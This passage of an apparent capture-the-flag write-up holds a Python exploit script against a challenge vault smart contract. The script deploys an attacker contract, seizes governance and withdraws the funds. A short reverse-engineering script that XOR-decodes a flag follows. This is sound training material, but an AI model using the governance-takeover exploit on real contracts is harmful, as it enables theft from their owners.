leaf="">:</span></span><br/><span leaf="">    rpc = re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;RPC URL\s*:\s*(\S+)&#34;</span></span><span leaf="">, text)</span><br/><span leaf="">    vault = re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;Vault\s*:\s*(0x[a-fA-F0-9]{40})&#34;</span></span><span leaf="">, text)</span><br/><span leaf="">    pk = re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;Player Private Key:\s*(0x[a-fA-F0-9]{64})&#34;</span></span><span leaf="">, text)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (rpc </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> vault </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> pk):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;parse failed&#34;</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> rpc.group(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">), Web3.to_checksum_address(vault.group(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)), pk.group(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">raw_tx_bytes</span></span><span style="line-height: 26px;"><span leaf="">(signed)</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> getattr(signed, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;rawTransaction&#34;</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> getattr(signed, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;raw_transaction&#34;</span></span><span leaf="">)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">send_tx</span></span><span style="line-height: 26px;"><span leaf="">(w3, acct, tx)</span></span><span leaf="">:</span></span><br/><span leaf="">    signed = acct.sign_transaction(tx)</span><br/><span leaf="">    txh = w3.eth.send_raw_transaction(raw_tx_bytes(signed))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> w3.eth.wait_for_transaction_receipt(txh)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">calldata</span></span><span style="line-height: 26px;"><span leaf="">(contract, fn_name, args=None)</span></span><span leaf="">:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> args </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><br/><span leaf="">        args = []</span><br/><span leaf="">    f = getattr(contract.functions, fn_name)(*args)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> hasattr(f, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_encode_transaction_data&#34;</span></span><span leaf="">):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> f._encode_transaction_data()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> hasattr(f, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;build_transaction&#34;</span></span><span leaf="">):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> f.build_transaction(</span><br/><span leaf="">            {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;from&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0x0000000000000000000000000000000000000000&#34;</span></span><span leaf="">}</span><br/><span leaf="">        ).get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;cannot encode calldata&#34;</span></span><span leaf="">)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">exploit</span></span><span style="line-height: 26px;"><span leaf="">(rpc_url: str, vault_addr: str, priv: str)</span></span><span leaf="">:</span></span><br/><span leaf="">    w3 = Web3(Web3.HTTPProvider(rpc_url))</span><br/><span leaf="">    acct = w3.eth.account.from_key(priv)</span><br/><span leaf="">    me = acct.address</span><br/><span leaf="">    install_solc(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0.8.20&#34;</span></span><span leaf="">)</span><br/><span leaf="">    compiled = compile_source(</span><br/><span leaf="">        EVIL_SRC, solc_version=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0.8.20&#34;</span></span><span leaf="">, output_values=[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;abi&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bin&#34;</span></span><span leaf="">]</span><br/><span leaf="">    )</span><br/><span leaf="">    _, c = next(iter(compiled.items()))</span><br/><span leaf="">    evil_abi = c[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;abi&#34;</span></span><span leaf="">]</span><br/><span leaf="">    evil_bin = c[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bin&#34;</span></span><span leaf="">]</span><br/><span leaf="">    nonce = w3.eth.get_transaction_count(me)</span><br/><span leaf="">    gp = w3.eth.gas_price</span><br/><span leaf="">    cid = w3.eth.chain_id</span><br/><span leaf="">    Evil = w3.eth.contract(abi=evil_abi, bytecode=evil_bin)</span><br/><span leaf="">    tx = Evil.constructor().build_transaction(</span><br/><span leaf="">        {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;from&#34;</span></span><span leaf="">: me,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonce&#34;</span></span><span leaf="">: nonce,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gas&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2000000</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gasPrice&#34;</span></span><span leaf="">: gp,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;chainId&#34;</span></span><span leaf="">: cid,</span><br/><span leaf="">        }</span><br/><span leaf="">    )</span><br/><span leaf="">    rc = send_tx(w3, acct, tx)</span><br/><span leaf="">    evil_addr = Web3.to_checksum_address(rc.contractAddress)</span><br/><span leaf="">    vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)</span><br/><span leaf="">    nonce += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span leaf="">    tx = vault.functions.setGovernance(evil_addr).build_transaction(</span><br/><span leaf="">        {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;from&#34;</span></span><span leaf="">: me,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonce&#34;</span></span><span leaf="">: nonce,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gas&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">200000</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gasPrice&#34;</span></span><span leaf="">: gp,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;chainId&#34;</span></span><span leaf="">: cid,</span><br/><span leaf="">        }</span><br/><span leaf="">    )</span><br/><span leaf="">    send_tx(w3, acct, tx)</span><br/><span leaf="">    evil = w3.eth.contract(address=evil_addr, abi=evil_abi)</span><br/><span leaf="">    data = calldata(evil, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;pwn&#34;</span></span><span leaf="">, [])</span><br/><span leaf="">    nonce += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span leaf="">    tx = vault.functions.execute(data).build_transaction(</span><br/><span leaf="">        {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;from&#34;</span></span><span leaf="">: me,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonce&#34;</span></span><span leaf="">: nonce,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gas&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">200000</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gasPrice&#34;</span></span><span leaf="">: gp,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;chainId&#34;</span></span><span leaf="">: cid,</span><br/><span leaf="">        }</span><br/><span leaf="">    )</span><br/><span leaf="">    send_tx(w3, acct, tx)</span><br/><span leaf="">    nonce += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span leaf="">    tx = vault.functions.withdraw().build_transaction(</span><br/><span leaf="">        {</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;from&#34;</span></span><span leaf="">: me,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;nonce&#34;</span></span><span leaf="">: nonce,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gas&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">200000</span></span><span leaf="">,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gasPrice&#34;</span></span><span leaf="">: gp,</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;chainId&#34;</span></span><span leaf="">: cid,</span><br/><span leaf="">        }</span><br/><span leaf="">    )</span><br/><span leaf="">    send_tx(w3, acct, tx)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> vault.functions.isSolved().call()</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">    r = remote(HOST, PORT)</span><br/><span leaf="">    banner = r.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&gt; &#34;</span></span><span leaf="">).decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ignore&#34;</span></span><span leaf="">)</span><br/><span leaf="">    rpc, vault, pk = parse_instance(banner)</span><br/><span leaf="">    ok = exploit(rpc, vault, pk)</span><br/><span leaf="">    r.sendline(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;1&#34;</span></span><span leaf="">)</span><br/><span leaf="">    out = r.recvall(timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">).decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ignore&#34;</span></span><span leaf="">)</span><br/><span leaf="">    m = re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;Flag\s*-\s*([A-Za-z0-9_{}-]+)&#34;</span></span><span leaf="">, out)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> m:</span><br/><span leaf="">        print(m.group(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><br/><span leaf="">        print(str(ok), out.strip())</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><br/><span leaf="">    main()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Reverse:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">i guess bro</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">MOD = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3B9ACA07</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1_000_000_007</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recover_flag_from_rodata</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; bytes:</span></span><br/><span leaf="">    unk = bytes([</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xE0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xEA</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9F</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xE8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xBF</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xE1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFD</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x96</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDB</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x82</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8D</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xA8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xA6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xB3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5D</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x69</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4D</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x35</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x69</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7B</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x13</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5A</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x17</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x28</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x71</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><br/><span leaf="">    ])</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">assert</span></span><span leaf=""> len(unk) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">35</span></span><br/><span leaf="">    out = bytearray(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">35</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i, b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(unk):</span><br/><span leaf="">        out[i] = b ^ ((</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf=""> * i) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">) ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xA5</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(out)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">check_sub_10622</span></span><span style="line-height: 26px;"><span leaf="">(a1: bytes)</span></span><span leaf=""> -&gt; bool:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(a1) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">35</span></span><span leaf="">:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> a1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != ord(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;E&#34;</span></span><span leaf="">):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (a1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] == ord(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;H&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> a1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] == ord(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;4&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> a1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] == ord(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;X&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> a1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">] == ord(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{&#34;</span></span><span leaf="">)):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> a1[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">34</span></span><span leaf="">] != ord(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;}&#34;</span></span><span leaf="">):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> sum(a1) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3243</span></span><span leaf="">:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span leaf="">    idxs = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">25</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">30</span></span><span leaf="">]</span><br/><span leaf="">    prod = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> idxs:</span><br/><span leaf="">        prod = (prod * a1[idx]) % MOD</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> prod == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">531</span></span><span leaf="">_969_937</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">    flag_bytes = recover_flag_from_rodata()</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] Recovered bytes:&#34;</span></span><span leaf="">, flag_bytes)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><br/><span leaf="">        flag_str = flag_bytes.decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ascii&#34;</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> UnicodeDecodeError:</span><br/><span leaf="">        flag_str = flag_bytes.decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ascii&#34;</span></span><span leaf="">, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">)</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] Flag string:&#34;</span></span><span leaf="">, flag_str)</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] Length:&#34;</span></span><span leaf="">, len(flag_bytes))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><br/><span leaf="">    main()</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: 